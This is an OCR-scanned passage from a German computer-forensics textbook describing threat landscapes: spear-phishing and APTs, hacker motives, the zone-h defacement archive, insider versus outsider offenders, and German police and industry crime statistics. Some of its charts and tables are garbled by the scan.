beschafft sich der Angreifer z.B. die Mailadressen von Mitarbeitern
eines Unternehmens, um an diese gezielt eine Phishing-Mail zu iber-
senden, die wie eine Mail eines ublichen Geschiftspartners oder eines
Newsletters fiir diese Mitarbeiter aussieht. Die » Trefferquote« bei die-
ser Art von Phishing-Attacken ist ungleich hoher als bei normalen
Angriffen, da die Wahrscheinlichkeit, dass der Mitarbeiter keinen Ver-
dacht schopft, sehr hoch ist. In Fachkreisen spricht man von Whaling,
wenn sich die gezielte Attacke gegen hohe Fuhrungskrifte richtet.

Hiufig sind die o.g. Methoden in sogenannten Targeted Attacks
eingebettet, die gezielt einzelne Unternehmen im Fokus haben. Her-
kommliche Malware-Abwehrmethoden, die auf Patternvergleich
basieren, sind hier oft erfolglos, da der Angriffscode bisher nicht in der
Offentlichkeit aufgetaucht ist und speziell fiir das eine Ziel erstellt
wurde. Oft lassen sich die Angreifer lange Zeit, um das richtige Ziel
anzugreifen oder die richtigen Daten zu stehlen. In Fachkreisen werden
solche langwierigen im Verborgenen ablaufenden Angriffe auf loh-
nenswerte Ziele auch Advanced Persistent Threats (APT) genannt.
APT-Angreifer versuchen, nachdem sie Zugang zum Netzwerk des
Opfers erhalten haben, sich dort so lange wie moglich unerkannt auf-
zuhalten. Dabei werden nicht alle Daten auf einmal gestohlen, sondern
nach und nach die wesentlichen und wertvollen Informationen kom-
promittiert. Das Ziel der Angreifer kann sich oft andern, abhangig von
den Daten, die im Netzwerk des Opfers vorgefunden werden.

Die letzten grofSen Targeted Attacks gegen bedeutende Unterneh-
men und Organisationen wurden durch Spear-Phishing-Angriffe oder
durch Whaling mittels mit Malware infizierten PDF-Dateien durchge-
fithrt. Dieses Dateiformat hat die lange Zeit in Verruf geratenen MS-
Office-Dateiformate als starkste Bedrohung in diesem Kontext abgelost.

Als weitere Gefahrenquelle sind in der Vergangenheit soziale Netz-
werke wie z.B. Facebook, LinkedIn, Xing oder StudiVZ in den Fokus
geriickt. Wann immer ein Angreifer eine spezielle Person fiir eine Tar-
geted Attack ausspioniert, wird er in der Vielzahl der sozialen Netz-
werke fiindig werden. Informationen, die hier einsehbar sind, konnen
einfach fiir einen Spear-Phishing-Angriff verwendet werden. Die
Wahrscheinlichkeit, dass ein Opfer auf einen Link klickt, der von
einem »Freund« kommt, ist recht grofs. Zusatzlich werden diese Netze

Targeted Attacks

Advanced Persistent
Threats

Soziale Netzwerke
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Elite, Hacker und
Script Kiddies

zunehmend fiir die automatisierte Weiterverbreitung von Malware
verwendet.

1.3 Motivation der Tater

Aus welcher Motivation heraus handeln Tater? Motiviert ist ein Téter
aus dem Umfeld der Computerkriminalitdt haufig im gleichen Maf3e,
wie ein klassischer Krimineller zum Begehen einer Straftat angeregt
wird. Hierzu zihlen u.a. finanzieller Gewinn, Wettbewerbsvorteil,
Rache, Geltungssucht und Publicity. Ebenso wie im realen Leben
bestimmte Handlungen zur gesellschaftlichen Anerkennung innerhalb
bestimmter Gruppen fiithren, gilt dieses auch in der virtuellen Welt.
Spektakulire Systemeinbriiche konnen durchaus zur Akzeptanzsteige-
rung in der sogenannten Szene fithren. Die Anzahl oder Art der ange-
griffenen Systeme werden wie Trophden behandelt und auf einschlagi-
gen Webseiten oder IRC-Channels prisentiert. Zu den in dieser Szene
hiufig verwendeten Personenbezeichnungen gehoren Worter wie Black-
hat, Whitehat, Script Kiddies, Hacker, Cracker, Phreaker, Cypher-
punks, Eleet, Lamer usw. Das Wort Hacker hat sich landlaufig als neu-
trale oder gar positive Bezeichnung fur Personen durchgesetzt, die in
der Lage sind, interne Abliufe und Funktionen von Computern, Pro-
grammen und Informationen zu beeinflussen, wihrend die Bezeich-
nung Cracker eindeutig negativer Natur ist, da Cracker in der Regel
Schaden anrichten und in Systeme einbrechen wollen. Im Folgenden
soll hier aber von Titer oder Angreifer gesprochen werden. Die
Bezeichnungen Hacker und Cracker werden in diesem Buch aus-
nahmsweise synonym verwendet.

Die Bezeichnung »elite« wird seit den Zeiten der klassischen Bulle-
tin-Board-Systeme (BBS oder Mailbox) in den 80er Jahren verwendet
und bezeichnete jemanden, der erweiterten Zugriff auf spezielle
Dateien z.B. aus dem Download-Bereich hatte. Durch den Film
»Hackers« wurde 1995 der Begriff elite fur die Bezeichnung des soge-
nannten »Uberhackers« verwendet. Man findet hiufig unterschiedli-
che Schreibweisen wie eleet, leet, 13374, 31337 etc. Es wird derzeit in
Schitzungen davon ausgegangen, dass weltweit ca. 500 bis 1.000 elite-
Hacker in der Lage sind, neue Sicherheitsliicken zu finden, wihrend
etwa 5.000 Hacker sogenannte Exploit® Scripts schreiben kénnen.
Ebenso wird in vorsichtigen Prognosen davon ausgegangen, dass etwa
100.000 »Script Kiddies« im Internet aktiv sind®. Script Kiddies sind

4. Sogenanntes »Leetspeek«; ein Slang-Ausdruck fiir »Elite Speek«. Dabei werden
Buchstaben durch Zahlen und Sonderzeichen ersetzt: 1 =1, 2 = to, 3 = E, 4 = for,
5 = S usw. (Hacker wird so zu H4XOr, eleet zu 31337 usw.).
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in der Regel nur daran interessiert, Techniken und Exploits zu nutzen,
um in Systeme einzudringen, wihrend erfahrenere Hacker Sicherheits-
liicken entdecken und Exploits entwickeln, ohne den Systemeinbruch
im Hauptfokus zu haben.

Neben den Tatern, die bekannte Sicherheitsliicken mit allgemein
verfugbaren Angriffswerkzeugen nur erneut nutzen, liegt die Motiva-
tion der erfahrenen Angreifer darin, Aktivititen durchzufithren, die
normalerweise nicht tiberwacht werden, die schwierig zu erkennen
bzw. schwer nachzuvollziehen oder im Labor schwer nachzustellen
sind. Gleichzeitig miissen diese Angriffsaktivititen gut verdeckt sein,
sodass eine Beweissammlung oder gar Riickverfolgung bis zum Verur-
sacher sehr schwierig wird. Ermittler kommen hier nur zum Ziel, wenn
sie tiber spezielle Werkzeuge und entsprechende Erfahrung verfiigen.

In der Offentlichkeit haben sich einige Grobklassifizierungen zur
Einstufung von Hackern etabliert. Diese Kategorisierung kann bei der
Bewertung und Beurteilung der Motivlage im kriminalistischen Sinne

durchaus behilflich sein:

Soziale Motivation

Technische Motivation
Politische Motivation
Finanzielle Motivation
Staatlich-politische Motivation

Der am haufigsten auftretende Typ ist die Tatergruppe, die sich nach
ihrer sozialen Motivation klassifizieren lasst. Es ist ein Verhalten wie in
einer Jugend- oder Straflengang zu beobachten. Ganz dhnlich dem Ver-
halten solcher Gangs in der realen Welt werden Straftaten billigend in
Kauf genommen oder »Mutproben« ausgefiihrt, die der Anerkennung
des Hackers innerhalb seiner Peer-Group dienen. Der Hacker mochte
zu einer bestimmten Gruppierung gehoren und dies durch mehr oder
weniger spektakulire Website Defacements bzw. dhnlich gelagerte
Hacks erreichen.

Die Gruppe der technisch motivierten Hacker ist dadurch gekenn-
zeichnet, dass die von ihnen durchgefiihrten Systemeinbriiche vor dem
Hintergrund geschehen, angeblich den Technologieprozess zur Beseiti-
gung von Sicherheitsliicken zu beschleunigen. Durch ihre Taten soll die
»Offentlichkeit« auf System- und Sicherheitsliicken hingewiesen wer-
den. Sie verstehen sich als Aufklarer und wollen Hersteller und Betrei-

5. Auch exploitz oder sploit: Eine Technik, um in ein System einzubrechen, bzw. ein
Tool, das diese Technik verwendet oder ermdoglicht. Ein Exploit nutzt eine
Schwachstelle oder Systemschwiche aus, um in dieses System einzubrechen.

6.  http:/lwww.robertgrabam.com/pubs/hacking-dict.htmlittelite

Soziale Motivation

Technische Ambitionen
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Politische Motive

Finanzielle Absichten

Im Auftrag einer
Regierung

In Gruppen organisiert

ber von Computersystemen zum Handeln auffordern. Interessanter-
weise behaupten fast alle Hacker, zu dieser Gruppe zu gehoren.

Ebenfalls stellen viele Hacker die Behauptung auf, aus politischen
Motiven zu handeln. Die politisch motivierten Tater verfiigen iiber
einen ausgepragten politischen Glauben und prisentieren diesen zum
Beispiel einer breiten Offentlichkeit, indem sie Websites verindern
bzw. verschandeln (Website Defacement). Diese Art von Angriffen, die
vermeintlich politischer Natur sind, bekommen haufig mehr Aufmerk-
samkeit in der Presse als Angriffe, die nur so zum Spaf$ durchgefiihrt
wurden. Interessanterweise haben aber nur wenige der gehackten Sys-
teme direkt mit dem vermeintlichen politischen Gegner zu tun oder
sind sonst irgendwie mit diesem in Verbindung zu bringen.

Wie bei der »klassischen« Kriminalitit existiert auch im Bereich
der Computerkriminalitit ein Personenkreis, der durch finanzielle
Absichten getrieben wird. Hacker, die dieser Gruppe zugeordnet wer-
den konnen, hacken, um sich personlich zu bereichern. Hierzu gehoren
u.a. Tdtigkeiten aus den Bereichen Wirtschaftsspionage, Finanzbetrug
oder Softwarepiraterie. Im Gegensatz zu den anderen bereits erwihn-
ten Gruppierungen findet man selten finanziell motivierte Tater, die in
der Offentlichkeit mit ihren Taten prahlen. Das Bestreben nach abso-
luter Anonymitit ist innerhalb dieser Gruppierung als sehr stark zu
bezeichnen.

Der Vollstandigkeit halber sei zusatzlich auf die politisch motivier-
ten Hacker hinzuweisen, die im Auftrag von Regierungen oder staatli-
chen Institutionen titig sind. Hierbei sind neben anderen Regierungen
auch Wirtschaftsunternehmen im Fokus. Wie man sich sicherlich den-
ken kann, geht es hierbei nicht um Website Defacement, sondern um
die verschiedensten Arten der Uberwachung, Informationsbeschaffung
bzw. -modifikation.

Hacker »organisieren« sich gern in Gruppen. Diese Gruppen sind
haufig nur ein virtueller Zusammenschluss und reichen oft tiber Lan-
dergrenzen hinaus. Innerhalb dieser Gruppen werden Tipps, Angriffs-
techniken, Tools und manchmal auch Raubkopien kommerzieller Soft-
ware (sog. Warez) ausgetauscht. Diese Gruppen geben sich einen in der
Szene eindeutigen Namen und betreiben manchmal eigene Websites.
Mitunter konnen Mitglieder anhand spezieller eindeutiger Erken-
nungsmerkmale einzelnen Gruppen zugeordnet werden.

In diesem Zusammenhang sind einige Statistiken von Interesse: Es
existieren im Internet Websites, die es sich (aus vielerlei Griinden) zur
Aufgabe gemacht haben, gehackte und modifizierte WWW-Server zu
erfassen und als Mirror fir die Nachwelt zu speichern. Wie bereits
ausgefithrt, haben es sich einige Hackergruppen zum Ziel gesetzt, in
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sogenannten Defacement-Mirrors verewigt zu werden. Ein entspre-
chender Defacement-Mirror ist z.B. zone-h.

If [Bughear] [linane labs] - Mazilla - o=
- Mo e Yew o Rookmarks Jooks Window Help

" \.j \.J O \3 [ kg oo zone- oo acec 200305 0 . b b rncha el I c;_-(o
)| % [euaboor) s abs) | [

[welcome to bugbear Tinux labs][04.30.03]

www.hp.be company of HP defaced by BugBear. ;)

BugBear present and accounted for , representing the ALASKA and zone-h. ;).

This hack is not malicious. i did not poke my nose into any data other than data
essential to this defacement. the logs will reflect the same. i want the same thing

you do. PEACE & SECURITY

Greetings, Spabam,syS, DkD[|| , Kafka, Twister, trippinsmurfs, TECHTEAM hugs to

& ] |l

Die Betreiber des Defacement-Mirrors zone-h.org versuchen bei jeder
Archivierung einer verdnderten Webseite zusatzlich die Motivlage des

Hackers zu erfassen:’
N/A 94.017|
81.667
‘=56.640 2010
. . 45.093 = 2009
Revenge against that website | 23513
| 4.802 = 2008
L. 58.083
Patriotism |l 40.374
B 46619
. I 57,083
Political reasons 72767
50.578
44.457
As a challenge 26.921
N 61112
. 829.975
Heh just for fun! | 176725
I 06.43
i 289.63
| just want to be the best defacer I 12244
I 201270

Der Grafik aus Abbildung 1-4 zufolge ist die Mehrheit der erfolgrei-
chen Angriffe keiner bestimmten Motivation zuzuordnen (Dem Aus-
reiflerwert bei »Just for Fun« liegt ein sogenanntes Mass Defacement
zugrunde). Daraus wiirde folgen, dass die Ziele wahllos ausgesucht

7. bttp:/lwww.zone-b.org/stats/, betritft nur Website Defacements.

Abb. 1-3

Defacement der Webseite
von HP Belgien mit
Hinweis auf den
Defacement-Mirror
zone-h.org und einer
entsprechenden
Rechtfertigung

Abb. 1-4
Versuch einer Analyse der
Motiviage der Angreifer”
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Abb. 1-5

Auswertung der Motivlage
in einem gréBeren Fall von
Missbrauch von Internet-
zugangskennungen

werden, was die Wahrscheinlichkeit, dass man selbst Ziel eines
Angriffs wird, fiir alle Netzteilnehmer erhohen wiirde. Allerdings ist zu
dieser Grafik zu bemerken, dass sich hier nur diejenigen »verewigt«
haben, die ihre Taten auch bekannt geben wollen. Wer wirklich im
Verborgenen bleiben mochte, wird seine Angriffe hier nicht veroffent-
lichen. Dies ist besonders relevant, wenn der Tiater aus finanzieller
Motivation agiert.

Um die Motive von Straftitern auch von anderer Seite zu beleuch-
ten, hat das Kriminalistische Institut des Bundeskriminalamts (BKA)
das Delikt » Account-Missbrauch im Internet« niher beleuchtet. Hin-
tergrund war ein bundesweit gefithrtes Sammelverfahren gegen mehr
als 3.000 Tatverdachtige, fur das am Polizeiprasidium Minster im Jahr
2000 eine Ermittlungskommission gegriindet wurde. Auch wenn diese
Untersuchung mehr als zehn Jahre zuriickliegt, lassen sich daraus auch
heute noch anwendbare Schlisse ziehen. Zu den »logistischen und kri-
minalistischen Herausforderungen dieses Ermittlungsverfahrens« legte
das BKA einen Erfahrungsbericht® vor, der auf Untersuchungen der
Universitit Miunster basierte. Zusammen mit Wissenschaftlern der
Universitat war zuvor ein Fragebogen entwickelt worden, der an betei-
ligte Staatsanwaltschaften, Gerichte und auch Eltern von Tatverdichti-
gen geschickt wurde. Ausgewertet wurden 599 Fragebogen. Neben
anderen Fragestellungen wurde auch die Motivlage erfasst. Den
gewonnenen Daten ist zu entnehmen, dass die Mehrheit der Tater wirt-
schaftliche Griinde als Motiv angab, also personliche Bereicherung im
Vordergrund stand. Neugierde wurde an zweiter Stelle genannt. Das
Ausprobieren spielte fir Einsteiger eine grofse Rolle. In der Kombina-
tion »Ausprobieren und wirtschaftliche Griinde« war Geldmangel
erwartungsgemifs in der Fortfithrung der Tat der wesentlichere Faktor.

Motive Fille in %
Wirtschaftliche Grinde 307 51,3
Ausprobieren 198 33,1
Technische Méaglichkeiten 72 12
Sonstige Grinde 49 82
Reinlegen 16 27
Gruppen-Anerkennung 9 1,5
Wettkampf 6 1
Anerkennung im Internet 4 07
Geheimdienst 2 0.3
Ausspionieren nicht genannt. 0
Jemanden Schaden zufiigen  nicht genannt 0

8. http:/lwww.bka.delinformationen/account_missbrauch.pdf
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Wie bei jeder statistischen Anndherung an eine Thematik sind auch in
diesen konkreten Beispielen immer das Gesamtbild und die zugrunde
liegende Datenlage zu betrachten. Anhand einer einzelnen Statistik
lasst sich nicht direkt auf andere Fragestellungen schliefSen. Aussagen,
die in einem speziellen Kontext erfasst und ausgewertet wurden, halten
deswegen in der Regel selten einer Pauschalisierung stand.

1.4 Innentdter vs. AuBentater

Angriffe konnen von verschiedenen Ursprungsorten kommen. Der
Tater kann sich sowohl auflerhalb des angegriffenen Netzwerks befin-
den als auch innerhalb des eigenen Verantwortungsbereichs. Beide
Ursprungsorte bieten bei der Ermittlung der moglichen Tater Vor- und
Nachteile. Es gibt zwar Statistiken tiber das Verhaltnis von Innentitern
zu AufSentatern, diese sind aber wegen der zu erwartenden Dunkelzif-
fer kritisch einzuschitzen.

Durch die zunehmende Vernetzung der Informationstechnik hat
sich die potenzielle Gefahrdung starker in Richtung auf den ortsunab-
hingigen Auflentiter verlagert. Recht einfache Mittel wie ein PC und
ein Internetzugang und geringes Fachwissen reichen aus, um ein Com-
putersystem empfindlich zu storen.

Dennoch geht aufgrund des Wissens um die internen Informations-
flisse und vorhandener Insider-Informationen weiterhin eine sehr
grofse Gefahr von Innentétern aus. Dies wird hdufig durch mangelnde
interne Schutzmechanismen begiinstigt. Dem Innentdter wird es oft
leicht gemacht, da in den wenigsten Fillen im internen Netz verschliis-
selt wird oder wichtige Systemkomponenten ausreichend gehirtet
sind. Zusitzlich sind die internen Uberwachungs- und Protokollie-
rungsmoglichkeiten aus verschiedenen Griinden nicht geeignet, auffal-
liges Verhalten frithzeitig aufzukldaren oder einen erfolgten Angriff zu
erkennen.

Der Gesamtverband der deutschen Versicherungswirtschaft (GdV)
geht davon aus, dass etwa 40 % der Betrugs-, Diebstahls- und Unter-
schlagungsdelikte? von den Mitarbeitern der betroffenen Unterneh-
men begangen werden'®. Im Jahr 2002 entstanden laut GdV deut-
schen Firmen auf diese Weise Schiden in Hohe von rund 3 Milliarden
Euro. In dieser Statistik ist allerdings nicht ausschlieSlich die Mitarbei-
terkriminalitdt erfasst, die durch Computermissbrauch gekennzeichnet

9.  Ein Delikt (lat. = Vergehen) ist ein rechtswidriges, schuldhaftes Verhalten, das im
Zivilrecht grundsitzlich mit Schadensersatzpflicht, im Strafrecht mit Straffolge ver-
kntipft ist.

10. hutp:/fwww.gdv.de/presseservice/21725 . htm

AuBentdter

Innentdter
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ist, sondern auch alle anderen Formen krimineller Handlungen wie
Korruption und Vorteilsnahme, Untreue, Unterschlagung, Diebstahl,
Betrug, Wirtschafts- und Betriebsspionage, Verrat von Betriebsgeheim-
nissen, Erpressung und Insider-Geschifte. Es ist dabei aber zu beden-
ken, dass hochstwahrscheinlich bei einer Vielzahl dieser Delikte Com-
putersysteme unterstiitzend oder begiinstigend beteiligt waren. Laut
Aussage des GdV besitzen die Titer meist betriebswirtschaftliches
Fachwissen sowie gute Kenntnisse der internen organisatorischen
Abldufe und Gewohnheiten des geschidigten Unternehmens.

Die Betrachtung der Innentiterproblematik darf nicht nur auf die
eigenen Mitarbeiter isoliert werden. Vielmehr ist dabei einzubeziehen,
dass zu diesem Taterkreis alle mit erweitertem internem Know-how
ausgestatteten Personengruppen gehoren. Hierzu zahlen dann auch
Geschiftspartner, Lieferanten, externe Dienstleister und eben auch
Kunden.

Eine Statistik der Euler Hermes Kreditversicherungs-AG von
9.000 versicherten Vertrauensschaden (wieder nicht nur ausschlieSlich
Computermissbrauch), die Alter, Geschlecht und Betriebszugehorig-
keit der Titer erfasst, zeigt!!:

Etwa zwei Drittel der Tater waren mannlich, ein Drittel weiblich.
Mit zunehmendem Alter sinkt die Schadenshaufigkeit. 35% der
Schiden wurden von Mitarbeitern unter 30 Jahren verursacht.
30 % waren zwischen 30 und 40 Jahren alt, 23 % zwischen 40 und
50 Jahren. Nur etwa 12 % der Schiden gehen auf Mitarbeiter tiber
50 Jahre zuriuck.

Je lianger die Betriebszugehorigkeit, desto seltener die Veruntreu-
ung: Die hochste Dichte von Veruntreuungen liegt in den ersten
zwei Jahren der Betriebszugehorigkeit, wahrend sie ab 20-jahriger
Beschiftigung im gleichen Unternehmen minimal ist.

Es war weiterhin zu erkennen, dass gerade die von langjahrigen
Mitarbeitern verursachten Schaden oft sehr hoch sind.

Fiir das Jahr 2006 geht Euler Hermes davon aus, dass ein Vermogens-
schaden von ca. 1,5 Milliarden Euro entstanden ist. Dies tibersteigt die
Schiden, die im gleichen Zeitraum durch Brandschiden verursacht
wurden, um ungefihr eine halbe Milliarde Euro.

Im Jahre 2013 fithrte die KPMG AG Wirtschaftspriifungsgesell-
schaft eine Umfrage zur » Computerkriminalitit in der deutschen Wirt-

11. Euler Hermes Kreditversicherungs-AG, Hamburg, 2003, » Wirtschaftskriminalitit
— das diskrete Risiko«
(bttp:/fwww.eulerbermes.delimperia/md/content/ger/dt/20.pdf)
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schaft« durch!?. Demzufolge war jedes vierte der befragten Unterneh-
men bereits Opfer von Computerkriminalitit.

Mehr als 80 Prozent der befragten 500 Unternehmen sehen fiir die
Gesamtwirtschaft ein hohes bis sehr hohes Risiko, in Computerkrimi-
nalitatsvorfille involviert zu werden. Zwei Drittel der Unternehmen
erwarten sogar eine Zunahme der ernsten Bedrohungslage innerhalb
der nichsten zwei Jahre.

Paradox ist hierbei jedoch, dass nur knapp ein Drittel der befrag-
ten Unternehmen das Risiko, mit dem eigenen Unternehmen von
e-Crime betroffen zu sein, als hoch bis sehr hoch einschitzt. Demzu-
folge haben in der Risikowahrnehmung der Befragten also eher die
anderen Unternehmen ein Problem. Von den betroffenen Unterneh-
men wurden Computerbetrug und Ausspihen oder Abfangen von
Daten als hiufigste Deliktstypen genannt.

Die mobile Telekommunikation und die Nutzung von mobilen
Datentragern werden als bedeutsamste Gefahrenquellen gesehen. Die
zunehmende Verbreitung komplexer Technologien im Zuge der mobi-
len Telekommunikation bereitet somit die Angriffsmoglichkeiten fiir
die komplexeren Deliktstypen. Die Angreifer werden dabei professio-
neller und fithren die Angriffe zunehmend gezielt auf bestimmte Ge-
schiftsbereiche oder Daten hin aus. Die Gefahrenquellen fiir e-Crime
werden inzwischen vermehrt linderspezifisch gesehen, die grofiten Ge-
fahren werden mit China, Russland und dem {iibrigen Osteuropa ver-
bunden.

Bei den tatsachlichen Tatern besetzen die unbekannten Externen
die vorderste Position. Es bleibt jedoch festzuhalten, dass die tiberfiihr-
ten Tater oft im unmittelbaren Umfeld zu finden sind.

Die Vorstudie aus dem Jahr 2010 ergab noch, dass die Personen-
gruppe, die als besonders risikobehaftet wahrgenommen wurde —
aktuelle oder ehemalige Mitarbeiter des Unternehmens — auch tatsach-
lich mehrheitlich dem Taterkreis bei Computerkriminalitat entsprach.
Inzwischen zeigt sich ein verindertes Bild. Es rangieren gemifs der
aktuellen Version der KPMG-Studie die ehemaligen Mitarbeiter oder
Insider, die ihr Wissen um Schwachstellen vorsatzlich missbrauchen,
nach wie vor ganz oben. Bei den tatsichlichen Tétern besetzen die
unbekannten Externen jedoch nun die vorderste Position, gefolgt von
Mitarbeitern der betroffenen Abteilung, Kunden sowie sonstige Ge-
schiftspartner. Beim Delikt »Verletzung von Geschafts- und Betriebs-
geheimnissen« wurden allerdings mehrheitlich die Mitarbeiter der be-
troffenen Abteilung als Tater identifiziert. Dies ist eigentlich auch

12. KPMG e-Crime Studie 2013, http:/fwww.kpmg.de/Themen/36096.htm
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nachvollziehbar, da diese oft privilegierten Zugang zu diesen Geheim-
nissen haben. Als Fazit kann festgehalten werden, dass auch diese Stu-
die Computerkriminalitit als Instrument im wachsenden weltweiten
Konkurrenzkampf sieht, da der finanzielle Vorteil der tiberfiihrten T4-
ter bei 96 % der betroffenen Unternehmen als Motivation festgestellt
wurde.

Uber diese Zahlen kann man sicherlich wie bei jeder Statistik disku-
tieren. Es ist aber als Tatsache anzusehen, dass die steigende Anonymi-
tit in groffen Unternehmen und die zunehmende Angst der Arbeitneh-
mer vor Jobverlust zu einer Anderung in der Einstellung zu den Werten
eines Unternehmens gefithrt haben. Uniuibersichtliche Unternehmens-
strukturen — oft infolge von haufigen Umstrukturierungen oder Fusio-
nen bzw. Firmeniibernahmen — erleichtern es potenziellen Tatern zu-
satzlich, Liicken auszunutzen und dabei unerkannt zu bleiben.

Diverse Studien, die sich mit Wirtschaftskriminalitit beschiftig-
ten, zeichnen auch hier ein bemerkenswertes Bild.!3 Auf Basis von
Betroffenenbefragungen wird darin beispielsweise davon ausgegangen,
dass jedes zweite deutsche Unternehmen von Korruption oder dhnli-
chen Delikten betroffen ist. Wenn man sich dann noch vor Augen hilt,
dass fiir fast alle wichtigen Geschiftsprozesse (bei denen auch Geld-
fliisse zu verzeichnen sind) informationstechnische Systeme zum Ein-
satz kommen, ist es jedem Betrachter klar, dass hier mit Computer-
forensischen Methoden zu ermitteln ist. Sobald die Tater beispiels-
weise Mail- bzw. Webtechnologien einsetzen oder einfach nur mit
ihrem Mobiltelefon Informationen austauschen, sind digitale Spuren
zu finden, die es zu analysieren und auszuwerten gilt, auch wenn der
Schaden eventuell durch einen Nicht-IT-Prozess verursacht wurde.

Ein weiterer Aspekt der Innentiterproblematik ist, dass jemand mit
ausreichend Prozess- oder Firmenwissen ohne aufwendiges Hacken
erheblichen Schaden anrichten kann. Auch aus technischer Sicht regel-
konformes Verhalten kann eine Computer-forensische Analyse nach
sich ziehen, wenn gegen interne Richtlinien verstoflen wurde. Dies
kann selbst der »normale« Einsatz eines Mail- oder Webclients sein,
wenn damit eine Straftat oder strafvorbereitende Handlung bzw.
andere Delikte begangen werden.

13. Weitere Studien von PWC, KPMG und Ernst & Young zu Themengebieten der all-
gemeinen Wirtschaftskriminalitit
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1.5 Bestatigung durch die Statistik?

Das Bundeskriminalamt (BKA) veroffentlicht jahrlich die Polizeiliche
Kriminalstatistik (PKS). In der Polizeilichen Kriminalstatistik werden
die von der Polizei bearbeiteten Straftaten registriert. Taten, die aufSer-
halb der Bundesrepublik Deutschland begangen wurden, werden nicht
bertcksichtigt.

Der Erfassung liegt ein unter teils strafrechtlichen, teils kriminolo-
gischen Aspekten aufgebauter Straftatenkatalog zugrunde. Bundesein-
heitlich wird seit dem 1.1.1971 eine » Ausgangsstatistik « gefithrt, d.h.,
die bekannt gewordenen Straftaten werden erst nach Abschluss der
polizeilichen Ermittlungen vor Aktenabgabe an die Staatsanwaltschaft
erfasst. Seit 1993 ist es eine gesamtdeutsche Statistik. Das Zahlenmate-
rial wird von den Landeskriminalimtern in aggregierter Form dem
Bundeskriminalamt tibermittelt und dann zur Polizeilichen Kriminal-
statistik zusammengefasst. Das BKA schatzt die PKS allerdings selbst
kritisch ein, da ihre Aussagekraft dadurch eingeschrinkt wird, dass
der Polizei nicht alle Straftaten bekannt werden. Daraus konnen sich
natirlich Abweichungen im Verhaltnis zwischen erfassten und wirk-
lich begangenen Straftaten ergeben'?.

Das BKA geht bei der PKS bereits von statistikbeeinflussenden
Faktoren aus. Dazu gehoren

das Anzeigeverhalten (z.B. Versicherungsaspekt),
die polizeiliche Kontrolle,

die statistische Erfassung,

die Anderung des Strafrechts

und die echte Kriminalitatsanderung.

Ein weiterer statistikbeeinflussender Faktor ist, dass Vorfille mit meh-
reren hundert Geschidigten, wie es bei Phishingvorfillen vorkommt,
oft nur einmal gezdhlt werden; sitzen die Téter im Ausland, werden sie
gar nicht gezahlt. Aufgrund dieser Einschrinkungen und des — wie
auch bei allen anderen Statistiken dieses Kapitels — zu erwahnenden
betrachtlichen Dunkelfeldes ist davon auszugehen, dass die PKS die
Kriminalitat nicht hundertprozentig widerspiegelt. Allerdings konnen
durch die anndhernde Darstellung Erkenntnisse tiber Entwicklungs-
tendenzen und Trends gewonnen werden.

14. BKA, PKS 2012, http:/fwww.bka.de/SharedDocs/Downloads/DE/
Publikationen/PolizeilicheKriminalstatistik/2012/pks2012ImkKurzbericht.pdf

Die Polizeiliche
Kriminalstatistik

Nur abgeschlossene
Verfahren



Lizenziert fur 2109487.
© 2014 dpunkt. Alle Rechte vorbehalten. Keine unerlaubte Weitergabe oder Vervielfaltigung.

26 1 Bedrohungssituation
1.6 Computerkriminalitét
Das Bundeskriminalamt verzeichnet fur den Bereich der Computerkri-
minalitit stetige Zuwachsraten. So ist die Zahl der registrierten Falle
seit 1987 auf mehr als das 15-Fache angestiegen. Damit wird deutlich,
dass die Kriminalitit den technischen Moglichkeiten folgt. Zu beden-
ken ist hier, dass es sich nur um eine Betrachtung der bekannt gewor-
denen Kriminalitat handelt — dies macht das BKA im oben zitierten
Abschnitt zur Aussagekraft der Statistik selbst deutlich. Hinzu kommt,
dass die Statistik grundsatzlich erst bei Abschluss der Ermittlungen
erstellt wird. Somit ist immer ein gewisser Zeitverzug zu beachten.
Folgende Delikte werden seit 2002 in der PKS unter Computerkri-
minalitit zusammengefasst!3:
Computerbetrug,
Betrug mit Zugangsberechtigungen zu Kommunikationsdiensten,
Betrug mit Konto- oder EC-Karten mit PIN,
private Softwarepiraterie,
gewerbsmifSige Softwarepiraterie,
Datenverianderung und Computersabotage,
Filschung beweiserheblicher Daten, Tduschung im Rechtsverkehr
bei Datenverarbeitung,
Abb. 1-6 Ausspihen von Daten.
Fallentwicklung und
gesamte Bundesgebiet. Sﬂn:pn;:rﬂmm:um 87.871 34,981
Der Anstieg bei ;mmlllmenpmm: 63.959 59.494 4.465 7.5 265 300
Datenverdnderung und Computerbetrug § 263a SIGB 24817 26723 906 71 301 270
Computersabotage Wﬂt‘: - 2952 4730 1778 376 49 378
resultiert aus Angriffen HPCHRSI SRR Gel DNOy SN Vel %230 s SR 29100
ngs 10.857 4644 6.213 1338 17.5 412
mittels Schadsoftware. mwhw.nhhngummtm 16.794 15726 1.068 68 172 213

Aufkldrungsrate

Im Jahr 2012 wurden 229.408 Fille erfasst, die unter Nutzung des
Tatmittels Internet begangen wurden. Dies bedeutete einen Anstieg
gegeniiber dem Vorjahr um 3,2 Prozent. Uberwiegend handelte es sich
hierbei um Betrugsdelikte (70,8%), darunter vor allem Warenbetrug
(23,6%). 8,2% aller mit dem Tatmittel Internet begangenen Delikte
sind Falle von Computerbetrug.

15. Ab 2002 werden Fille von betriigerischer Ausnutzung des Lastschriftverfahrens
nicht mehr unter Computerkriminalitit erfasst.
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Auffillig sind mit einem Anteil von 6% die erneut ansteigenden
Fallzahlen beim Ausspihen und Abfangen von Daten, einschlieflich
der strafbaren Vorbereitungshandlungen.

Die Computerkriminalitit ist im Jahr 2012 um 3,4% auf 87.871
Fille angestiegen. Dies ist tiberwiegend auf eine Steigerung der Fall-
zahlen bei der Falschung beweiserheblicher Daten und Tauschung im
Rechtsverkehr bei Datenverarbeitung (+11,3%) sowie bei der Daten-
verdnderung und Computersabotage (+133,8%) zuriickzufiihren. Die-
ser enorme Anstieg ist allerdings durch Angriffe mittels Schadsoftware
bedingt.

Die Aufklarungsquote ist bei der Datenveranderung und Comput-
ersabotage im Vergleich zum Vorjahr von 41,2% auf 17,5 Prozent
zuriickgegangen. Aus der PKS lisst sich auch ablesen, dass bei den
Computerstraftaten weiterhin méannliche erwachsene Tatverdachtige
ab 21 Jahren tiberwogen.

Zum Themenkreis der Computerkriminalitdt gehort im Wesentli-
chen die Ausfithrung von Taten in Kenntnis bzw. unter Einsatz von
Computer- bzw. Kommunikationstechnologie, die Verletzung von
Eigentum an Sachwerten sowie Verfiigungsrechten an immateriellen
Giitern und die Beeintrichtigung von Computer- bzw. Kommunikati-
onstechnologien. Die Computerkriminalitat tritt in verschiedenen
